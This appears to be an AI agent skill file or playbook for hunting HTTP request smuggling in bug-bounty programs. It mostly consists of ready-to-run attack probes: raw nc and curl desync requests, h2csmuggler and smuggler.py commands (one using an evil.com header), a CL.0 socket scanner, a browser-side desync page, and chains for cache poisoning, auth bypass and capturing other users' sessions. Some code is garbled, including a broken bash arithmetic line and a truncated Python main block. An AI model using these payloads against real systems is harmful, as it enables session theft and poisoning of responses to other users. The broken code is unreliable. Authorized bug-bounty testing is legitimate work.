hunt-http-smuggling

name	hunt-http-smuggling
description	Hunt HTTP request smuggling (CL.TE, TE.CL, H2.CL, H2.TE). Cause: front-end proxy and back-end server disagree on where one request ends and the next begins (Content-Length vs Transfer-Encoding header parsing inconsistency). CL.TE: front-end uses CL, back uses TE → smuggle by sending TE: chunked but with body that fits CL count. TE.CL: opposite. H2.CL: HTTP/2 downgrade, smuggle CL into HTTP/1.1 back-end. Detection tools: Burp HTTP Request Smuggler extension, smuggler.py, h2csmuggler. Confirm: time-delay technique (smuggled GET with 30s timeout) — if front-end returns slow on next victim request, smuggling works. Validate: cache poisoning chain (smuggle request that gets cached for victim), credential theft (smuggle X-Forwarded-For override that captures next user's cookies), bypass auth (smuggled internal-path request). Real paid examples from major CDN deployments. Use when hunting H1 paid programs running CDN+origin stacks, when targeting load balancer / WAF bypass.
sources	portswigger_research, hackerone_public, field_recon
report_count	9

17. HTTP REQUEST SMUGGLING

Lowest dup rate. $5K–$30K. PortSwigger research by James Kettle.

CL.TE (Content-Length front, Transfer-Encoding back)

POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Detection

1. Burp extension: HTTP Request Smuggler
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. Manual timing: CL.TE probe + ~10s delay = backend waiting for rest of body

Impact Chain

Poison next request → access admin as victim
Steal credentials → capture victim's session
Cache poisoning → stored XSS at scale

---

Target-Suitability Matrix (2026 reality check)

The classic CL.TE / TE.CL payloads are NOT universally exploitable in 2026. Modern proxies are RFC 9112 strict by default. Fingerprint the front-end BEFORE investing time.

Front-end	CL.TE	TE.CL	H2.CL	H2.TE	Notes
Nginx ≥ 1.21	NO	NO	partial (H2 ingress)	partial	RFC-strict; rejects CL+TE with HTTP 400. Verified locally on Nginx 1.27 — all 9 documented variants killed by front-end (docs/verification/phase2h-smuggling-cachepoison.md).
Caddy 2.x	NO	NO	—	—	Hardened by default
Envoy ≥ 1.20	NO	NO	partial	partial	Hardened in most paths
HAProxy ≤ 2.4	✓	✓	—	—	Vulnerable, see CVE-2021-40346
AWS ALB + specific upstream	partial	partial	✓	✓	Several disclosed-paid reports 2022-2024
Cloudflare → S3 / Lambda chains	—	—	✓	✓	H2-downgrade attacks remain viable
Older F5 BIG-IP (TMM < 16)	✓	—	—	—	Vendor advisories
Citrix ADC / NetScaler (older firmware)	✓	✓	—	—	Disclosed in 2020-2022
Squid 3.x	✓	—	—	—	Older deployments
Apache Traffic Server (older)	✓	✓	✓	✓	PortSwigger research
Custom Python / Go proxies	✓	✓	—	—	Frequently miss RFC enforcement

Operator fingerprint quick-check

curl -sI https://target/ | grep -i "Server:"

• nginx/1.21+, Caddy, envoy → CL/TE classic is dead — pivot to H2.CL/H2.TE if the front-end speaks HTTP/2, or look for legacy proxies upstream
• HAProxy, header points to AWS/CDN → run the full payload matrix
• No Server header → assume hardened, but run a single quick space-before-colon probe; if it doesn't 400, dig deeper

H2.CL / H2.TE (the modern dominant vector)

H2-downgrade smuggling attacks rely on the front-end speaking HTTP/2 to the client and HTTP/1.1 to origin. The downgrade introduces CL/TE confusion because HTTP/2's frame-length headers don't survive the conversion cleanly. Most CDN+origin chains in 2024-2026 use this exact topology.

Tools that send HTTP/2 raw frames (Burp Pro's HTTP Request Smuggler extension, h2csmuggler, smuggler.py) are the right starting point against CDN-fronted targets. Avoid HTTP/1.1-only test clients (curl, raw sockets) against H2-front-ended targets — you'll send the wrong protocol entirely.

---

CL.0 Desync (Content-Length ignored by backend)

Also called "CL.0" or "ignored Content-Length". The front-end reads Content-Length and forwards the body. The backend does NOT parse Content-Length — it reads until connection close. This leaves the body bytes dangling as the start of the next request on a keep-alive connection.

Detection with raw socket:

# CL.0 probe — send a POST with smuggled prefix after the body
# The backend ignores CL and treats the smuggled bytes as the next request
{
  echo -en 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 6\r\nConnection: keep-alive\r\n\r\nSMUGGL'
  sleep 2
  echo -en 'GET /404 HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
} | nc -w 10 target.com 443

Curl-based blind probe:

# CL.0 timing probe: delay on backend indicates CL ignored
curl -s --raw -X POST "https://target.com/" \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Length: 4" \
  -d $'x' \
  --max-time 15 \
  -w "\nHTTP_CODE: %{http_code}\nTIME: %{time_total}\n"

When CL.0 is most likely:

• Custom Go/Python/Rust backends that use http.Handler with r.Body.Read but don't enforce CL
• PHP-FPM behind a proxy (PHP ignores CL on POST when max_input_vars not hit)
• Server-Timing header leaks internal proxy processing

Key indicator: A POST request with mismatched CL that does NOT return HTTP 400. The backend swallowed a wrong Content-Length without complaint.

---

H2.CL Desync (HTTP/2 → HTTP/1.1 CL Injection)

The attacker sends an HTTP/2 request containing a content-length header. The HTTP/2 front-end trusts its own frame-length to delimit the request and passes the CL header through to the HTTP/1.1 backend. The backend then uses the downgraded CL header for delimitation, while the front-end already consumed the full frame — creating a desync on the upstream HTTP/1.1 connection.

Netflix $20k case study (HackerOne 2021-2022):

• Researcher @defparam identified that Netflix's HTTP/2 termination layer forwarded content-length headers into HTTP/1.1 upstream connections
• The HTTP/2 frame length was 0 (no body), but the injected content-length: 50 header told the backend to expect 50 more bytes
• Front-end forwarded the next request's bytes as the "body" of the smuggled request
• Impact: cache poisoning of Netflix's API responses, session hijacking on shared upstream connections
• Bounty: $20,000. Fixed by stripping content-length from all H2→H1.1 downgraded requests.

Detection with h2csmuggler:

# Install h2csmuggler
pip install h2csmuggler

# Probe H2.CL with a delay-based detector
h2csmuggler.py -x https://target.com --h2cl --method GET --path "/" \
  --smuggled-path "/api/internal/admin" \
  --smuggled-host "target.com" \
  --delay 5

Manual Burp probe:

1. Burp → Repeater → switch protocol to HTTP/2
2. Remove :method pseudo-header body length (set to 0)
3. Add content-length: 100 as a regular header
4. Place the smuggled request in the DATA frame after the headers
5. Send → observe if a subsequent request triggers a 404 to /smuggled-path

---

H2.TE Desync (HTTP/2 Transfer-Encoding Injection)

HTTP/2 officially removes Transfer-Encoding — it uses frame-length exclusively. But when a front-end downgrades H2→H1.1 and permits transfer-encoding: chunked to survive the conversion, the H1.1 backend uses TE and waits for chunk boundaries. The attacker sends a complete H2 frame (front-end satisfied) plus a chunked body that the backend never finishes reading → next request bytes consume the chunk body.

AWS ALB case study (Albibir, 2023):

• Researcher discovered that AWS Application Load Balancer (ALB) when configured with HTTP/2 listener → HTTP/1.1 target groups, would pass transfer-encoding headers from HTTP/2 requests into the HTTP/1.1 upstream
• ALB correctly terminated H2 using frame-length, but included TE: chunked in the H1.1 upstream request
• The Nginx/HTTPD origin would then interpret the body as chunked — 0\r\n\r\n ends the chunk, and subsequent bytes form a smuggled HTTP request
• Impact: full cache poisoning of ALB-cached responses, credential theft across ALB-connected microservices
• Disclosure: patched by AWS after confirmed reproduction — ALB now strips TE headers on downgrade
• Pattern similar to CVE-2022-22963 (Spring Cloud Function) leveraging proxy desync

Detection:

# H2.TE probe with h2csmuggler
h2csmuggler.py -x https://target.com --h2te --method POST --path "/" \
  --body "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n" \
  --delay 10

# Manual H2.TE via Burp (Repeater → HTTP/2):
# 1. Add header: transfer-encoding: chunked
# 2. Body: "0\r\n\r\nGET /404 HTTP/1.1\r\nHost: target.com\r\n\r\n"
# 3. The DATA frame has full body, but backend reads chunked encoding
# 4. Follow with a real GET / → expect 404 for /404

When ALB is vulnerable:

• ALB listener protocol: HTTPS (HTTP/2)
• Target group protocol: HTTP/1.1
• Origin server parsing chunked encoding on keep-alive connections
• Verify with: curl -si https://target/ | grep -i "server:" — if no explicit ALB header, test anyway

---

TE.TE Obfuscation (Header Smuggling)

When both front-end and back-end support Transfer-Encoding, but parse the header differently, obfuscation variants can make one side see TE while the other ignores it.

Variant matrix:

Variant	Header	Front-end behavior	Back-end behavior
Chunked + space	Transfer-Encoding : chunked	Space after name → ignores TE	Reads TE correctly
Tab injection	Transfer-Encoding:\tchunked	Tab before value → skips TE	Reads chunked
Double header	Transfer-Encoding: x + Transfer-Encoding: chunked	Picks first → skips	Picks last → uses chunked
x-chunked	Transfer-Encoding: xchunked	No match → no TE	Tolerant → reads chunked
Random padding	Transfer-Encoding: chunked\r\nTransfer-Encoding: identity	Takes first (identity) → no TE	Takes last (chunked) → TE
Pre-header junk	Transfer-Encoding:\r\n chunked	Line folding → ignores	Reads as chunked
Obsolete line fold	Transfer-Encoding:\r\n chunked	RFC 7230 obsolete folding → ignore	Tolerant parsers accept
Mixed case	Transfer-Encoding: ChuNkEd	Strict lowercase check → ignores	Case-insensitive → accepts

Detection script:

# TE.TE probe: tab injection
curl -s -X POST "https://target.com/" \
  -H "Transfer-Encoding:\tchunked" \
  -H "Content-Length: 4" \
  -d $'0\r\n\r\n' \
  -w "HTTP_CODE: %{http_code}\n" \
  --max-time 10

# TE.TE probe: space before colon
curl -s -X POST "https://target.com/" \
  -H "Transfer-Encoding : chunked" \
  -H "Content-Length: 4" \
  -d $'0\r\n\r\n' \
  -w "HTTP_CODE: %{http_code}\n"

# TE.TE probe: double header (front picks first, back picks last)
curl -s -X POST "https://target.com/" \
  -H "Transfer-Encoding: x" \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Length: 4" \
  -d $'0\r\nSMUGGLED\r\n' \
  -w "HTTP_CODE: %{http_code}\n"

# TE.TE probe: X-chunked variant
curl -s -X POST "https://target.com/" \
  -H "Transfer-Encoding: xchunked" \
  -d $'0\r\n\r\nGET /404 HTTP/1.1\r\nHost: target.com\r\n\r\n' \
  --max-time 10

Interpretation:

• HTTP 400 on the obfuscated header → front-end is strict (RFC 9112-compliant)
• HTTP 200 but no desync → backend accepted TE but doesn't have the opposite parser behavior
• Timeout or follow-up request returns smuggled response → confirmed TE.TE desync

---

Client-Side Desync (Browser-Powered Smuggling)

Discovered by James Kettle (PortSwigger, 2023). Instead of smuggling from a direct connection, the attacker uses a victim's browser to send a crafted POST request with Connection: keep-alive and a body that the proxy thinks is complete but the backend treats as partial. The browser's connection to the proxy is then poisoned — the victim's next request on that connection gets the smuggled response.

Key difference from server-side desync: The browser is the smuggler. The proxy and backend are the victims. No direct socket needed.

Mechanism:

1. Attacker hosts a page with fetch('https://vuln-proxy/', { method: 'POST', body: '0\r\n\r\nGET /login HTTP/1.1\r\nHost: vuln-proxy\r\n\r\n', mode: 'cors' }) (or no-cors with keepalive: true)
2. Browser sends the POST. The front-end proxy considers the body consumed by Content-Length.
3. Backend reads the body using a different parser (or Connection: keep-alive with no CL) and sees the carriage returns as request boundaries.
4. Victim's next request (a real GET /index.html) lands after the smuggled prefix → response to the smuggled request gets returned to the victim.

Detection:

# Serve a test page that fires a desync probe from the browser
cat > /tmp/csd-test.html << 'EOF'
<!DOCTYPE html>
<html>
<body>
<script>
// Client-Side Desync probe — sends a POST with dangling body bytes
fetch('https://target.com/', {
  method: 'POST',
  mode: 'no-cors',  // keepalive needed for connection reuse
  keepalive: true,
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: '0\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
});

// Follow-up fetch to see if connection was poisoned
setTimeout(() => {
  fetch('/dashboard')
    .then(r => r.text())
    .then(t => console.log('DASHBOARD RESPONSE:', t.substring(0, 200)));
}, 1000);
</script>
</body>
</html>
EOF

# Start a local server to serve the page
python3 -m http.server 8888 --directory /tmp/
# Then open http://localhost:8888/csd-test.html in a browser pointed at target

Client-Side Desync prerequisites:

• Proxy supports HTTP/1.1 keep-alive and connection reuse
• Backend does NOT consume the full body (CL ignored or chunking mismatch)
• Browser CORS policy allows no-cors + keepalive: true (always allowed)
• Victim browser must already have an open connection to the proxy (keep-alive pool)

Detection via curl simulation:

# Simulate what the browser sends — POST with body, then GET on same connection
{
  echo -en 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 30\r\nContent-Type: text/plain\r\nConnection: keep-alive\r\n\r\n'
  echo -en '0\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: target.com\r\n'
  sleep 1
  echo -en 'GET /dashboard HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
} | nc -w 10 target.com 80

---

HTTP Anomaly Rank (HA Rank)

A 0–5 scoring system to quantify a target's susceptibility to HTTP desync smuggling. Higher is more dangerous.

Score	Label	Criteria	Action
0	Immune	RFC 9112 strict; returns 400 on any CL+TE combination; H2→H1.1 strips all body headers	Move on
1	Low	Returns 200 for CL+TE but no desync observed; H2 downgrade tested negative	Note and skip
2	Moderate	CL+TE accepted; timing probes show slight connection stutter; H2 desync negative	Run automated scanner
3	High	CL/CL.0 or TE obfuscation confirmed via timing probe; H2.CL or H2.TE shows partial desync	Full manual exploit chain
4	Critical	Desync confirmed with follow-up response capture on second request; cache poisoning possible	Drop everything. Full chain PoC
5	Emergency	Verified cache poisoning OR credential theft on production keep-alive pool; multiple upstream connections affected	Immediate disclosure report

Quick HA Rank calculator:

# HA Rank automation (bash one-liner — run against target)
function ha_rank() {
  local t=$1
  local score=0
  # Test 1: CL+TE coexistence → does the server 400?
  curl -sk -m 10 -X POST "$t/" -H "Content-Length: 4" -H "Transfer-Encoding: chunked" -d $'x' -w "%{http_code}" | grep -q 400 && echo "CL+TE → 400 (RFC strict)" || { echo "CL+TE → accepted (+1)"; score=$((score+1)); }
  # Test 2: Timing desync probe
  timeout 15 curl -sk -X POST "$t/" -H "Transfer-Encoding: chunked" -d $'0\r\n\r\nGET / HTTP/1.1\r\nHost: x\r\n\r\n' -w "%{time_total}" 2>/dev/null | awk '{if ($1 > 5) print "Timing desync (+2)"; else print "No timing desync"}'
  # Test 3: TE.TE obfuscation (tab injection)
  curl -sk -m 10 -X POST "$t/" -H $'Transfer-Encoding:\tchunked' -d $'0\r\n\r\n' -w "%{http_code}" | grep -q 400 && echo "TE.TE tab → blocked" || echo "TE.TE tab → accepted (+1)"
  # Test 4: H2.CL if H2 available
  which h2csmuggler 2>/dev/null && h2csmuggler.py -x "$t" --h2cl --method GET --path "/" --delay 3 2>&1 | grep -q "VULNERABLE" && { echo "H2.CL vulnerable (+2)"; score=$((score+)); }
   
}

---

Detection Methodology (Stack-Based Testing)

Match the test variant to the detected or assumed stack. Do NOT fire all payloads at every target — wasted requests burn recon time.

Detected stack	Primary test	Secondary test	Skip
nginx 1.21+	H2.CL (if H2 enabled)	H2.TE	CL.TE, TE.CL, CL.0
Caddy 2.x	H2.TE (H2 default)	—	All others
HAProxy ≤ 2.4	CL.TE	TE.CL, TE.TE obfuscation	H2 (no H2 support)
Envoy 1.20+	H2.CL (if H2 fronting)	CL.0 (custom upstream)	CL.TE, TE.CL
AWS ALB	H2.TE	H2.CL, CL.0	CL.TE (ALB strips TE on H1)
Cloudflare	H2.CL (downgrade to origin)	H2.TE	CL.TE (CF edge is RFC strict)
Akamai	TE.TE obfuscation	H2.CL	CL.TE
Fastly	CL.0 (known Fastly behavior)	H2.TE	TE.CL
Apache httpd 2.4	TE.TE obfuscation	CL.TE	H2.CL (no native H2)
Custom Go/Python proxy	CL.0	CL.TE, TE.TE	H2 unless confirmed
Java/Tomcat behind proxy	H2.TE	CL.0	TE.CL (Tomcat rejects TE)

General workflow:

# Step 1: Fingerprint the stack
curl -sI "https://target.com/" | grep -iE "^(server:|via:|x-powered-by:|x-served-by:|cf-ray:|akamai|fastly)"
# Or use httpx for stack detection
httpx -u "https://target.com/" -td -sc -server

# Step 2: Quick RFD (Request Fingerprint Detection) — does the endpoint return 400 on garbage?
curl -s -m 5 -X PURGE "https://target.com" -w "%{http_code}"  # 405 → alive; 400 → strict

# Step 3: Based on stack (table above), run primary and secondary probes
# Step 4: If timing delta > 3s on any probe, escalate to HA Rank scoring
# Step 5: On HA Rank ≥ 3, write the full exploit chain

---

Tools

smuggler.py (PortSwigger / defparam)

The original Python3 CL.TE/TE.CL fuzzer. Supports multi-threaded scanning and auto-detection.

# Install
git clone https://github.com/defparam/smuggler.git /tools/smuggler
cd /tools/smuggler && pip install -r requirements.txt

# Alternative: simple-http-smuggler-generator for quick CL.TE/TE.CL template assembly
# git clone https://github.com/dhmosfunk/simple-http-smuggler-generator

# Basic scan — test all payloads against a target
python3 smuggler.py -u "https://target.com/" -m POST --timeout 10

# Specific variant scan
python3 smuggler.py -u "https://target.com/" -m POST --cl-te --timeout 15

# Output vulnerable requests to file for manual replay
python3 smuggler.py -u "https://target.com/" -m POST -o /tmp/smuggler_results.txt

# With custom header (e.g., bypassing WAF by doubling Host)
python3 smuggler.py -u "https://target.com/" -m POST -H "X-Forwarded-Host: evil.com"

Limitations: smuggler.py sends HTTP/1.1 only. It will NOT detect H2.CL or H2.TE variants. Always follow up with h2csmuggler for HTTP/2 targets.

h2csmuggler (Assetnote / VanTuynh)

HTTP/2 → HTTP/1.1 downgrade smuggling tool. Handles raw H2 frames.

# Install
git clone https://github.com/assetnote/h2csmuggler.git /tools/h2csmuggler
cd /tools/h2csmuggler && pip install -r requirements.txt

# H2.CL probe
python3 h2csmuggler.py -x "https://target.com" --h2cl --method GET --path "/" \
  --smuggled-path "/api/admin/users" --smuggled-host "internal.target.com"

# H2.TE probe
python3 h2csmuggler.py -x "https://target.com" --h2te --method POST --path "/login" \
  --body "0\r\n\r\nGET /debug HTTP/1.1\r\nHost: localhost\r\n\r\n"

# Test all H2 variants
python3 h2csmuggler.py -x "https://target.com" --test-all --delay 10

# Verbose output for debugging
python3 h2csmuggler.py -x "https://target.com" --h2cl -v

Burp Suite — HTTP Request Smuggler Extension

The gold standard for manual and automated testing. Requires Burp Suite Professional.

• Install: BApp Store → HTTP Request Smuggler (by PortSwigger)
• Auto-scan: Right-click request → Extensions → HTTP Request Smuggler → Smuggle Probe (CL.TE, TE.CL, TE.TE)
• H2 scan: Requires Burp 2023.12+ with HTTP/2 support enabled in Repeater
• H2 smuggler tab: Extensions → HTTP Request Smuggler → HTTP/2 Smuggler Configuration → select H2.CL or H2.TE
• Turbo Intruder integration: HTTP Request Smuggler can generate Turbo Intruder Python scripts for high-volume desync testing

Pro tip: Use the "Smuggle via HTTP/2 downgrade" option in Burp 2024+ to automate H2.CL/H2.TE without manually switching protocols.

Turbo Intruder (PortSwigger)

For high-speed desync brute-forcing — useful for finding which upstream connection pool is vulnerable.

# Example Turbo Intruder script for H2.CL brute-force
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=10,
                           engine=Engine.BURP2
                           )
    for i in range(100):
        engine.queue(target.req, i)
        engine.queue(target.req, i+100)

def handleResponse(req, interesting):
    if '404' in req.response or 'smuggled' in req.response:
        table.add(req)

CL.0 detection utility (Python)

Stand-alone CL.0 scanner when you need to test many targets quickly:

#!/usr/bin/env python3
"""CL.0 desync scanner — test if backend ignores Content-Length."""
import socket, ssl, sys, time

def test_cl0(host, port=443, path="/"):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    sock = socket.create_connection((host, port), timeout=10)
    ssock = ctx.wrap_socket(sock, server_hostname=host)

    # Probe: POST with CL but include a smuggled prefix
    probe = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Length: 6\r\n"
        f"Connection: keep-alive\r\n\r\n"
        f"SMUGGL"
    )
    ssock.sendall(probe.encode())
    time.sleep(1)

    # Follow-up request
    follow = (
        f"GET /404 HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Connection: close\r\n\r\n"
    )
    ssock.sendall(follow.encode())

    resp = b""
    while True:
        try:
            data = ssock.recv(4096)
            if not data:
                break
            resp += data
        except:
            break
    ssock.close()
    return resp

if __name__ == "__main__":
    resp = test_cl0(sys.argv[1], int(sys.argv[2]) if len(sys.argv)>  )
       resp    resp:
        ()
    :
        ()

---

---

Detection Decision Tree

                        Start: reverse proxy / CDN in path?
                                    |
                    NO -------------+------------- YES
                    |                               |
            Low classic smuggling                    |
            (still test H2 desync)                   v
                                            Can you send TE + CL together?
                                                    |
                              NO -------------------+------------------- YES
                              |                                         |
                      Test H2-only issues                    Front prefers which?
                      (pseudo-header, reset)                            |
                                        +-------------------------------+-------------------------------+
                                        |                               |                               |
                                   CL wins                          TE wins                         errors /
                                        |                               |                          connection
                                        v                               v                               |
                                   CL.TE probes                    TE.CL probes                    TE.TE obfuscation
                                        |                               |                               |
                                        v                               v                               v
                              Time / content /                    Adjust chunk                     Pairwise matrix:
                              queue poisoning                     sizes + CL                      which hop accepts
                              signals?                            alignment                       which variant?
                                        |                               |                               |
                                        +-------------------------------+-------------------------------+
                                                                        |
                                                                        v
                                                              Confirm with second request
                                                              smuggled (replay-safe)
                                                              or Collaborator-style side signal

Related Skills & Chains

• hunt-cache-poison — Smuggling + cache is the canonical critical chain; one smuggled request becomes the cached response for every subsequent victim. Chain primitive: CL.TE smuggle a request whose response body contains attacker HTML/JS → front-end cache stores it under a popular URL (/, /login) → de-sync poisoning where the smuggled request becomes the cached response for the next N victims, persisting for the cache TTL.
• hunt-auth-bypass — Smuggling reaches internal-only routes that the front-end WAF/auth-proxy filters out. Chain primitive: smuggle GET /admin/users HTTP/1.1 past the front-end ACL that blocks external /admin/* → backend processes the smuggled request as if from a trusted internal source → bypass front-end auth by smuggling internal-routed request → admin data in the response queue.
• hunt-idor — Smuggling attaches the NEXT user's session cookies to an attacker-controlled request path. Chain primitive: smuggle GET /api/me HTTP/1.1 with no cookies → backend pairs it with the next legitimate user's incoming connection cookies → victim's session cookie attached to attacker's smuggled request → attacker reads the response containing victim's PII/tokens.
• hunt-xss — Smuggling injects XSS payloads into the response stream of the next victim without ever appearing in a URL parameter. Chain primitive: smuggled request body contains reflected payload that the backend renders into the next response in the queue → next visitor to / receives attacker HTML inline → reflected XSS at every visitor without any URL parameter visible to them or to logs.
• security-arsenal — Reach for the smuggling payload bank (CL.TE / TE.CL / TE.TE obfuscations, H2.CL downgrade probes, h2csmuggler one-liners, Burp HTTP Request Smuggler extension config) and the time-delay confirmation template before manual hex-editing.
• triage-validation — Run the Pre-Severity Gate before claiming Critical: the smuggled-request effect MUST land on a request issued by a different client/session, not your own follow-up. A timing delta in your own browser alone is parser disagreement, not exploitable smuggling.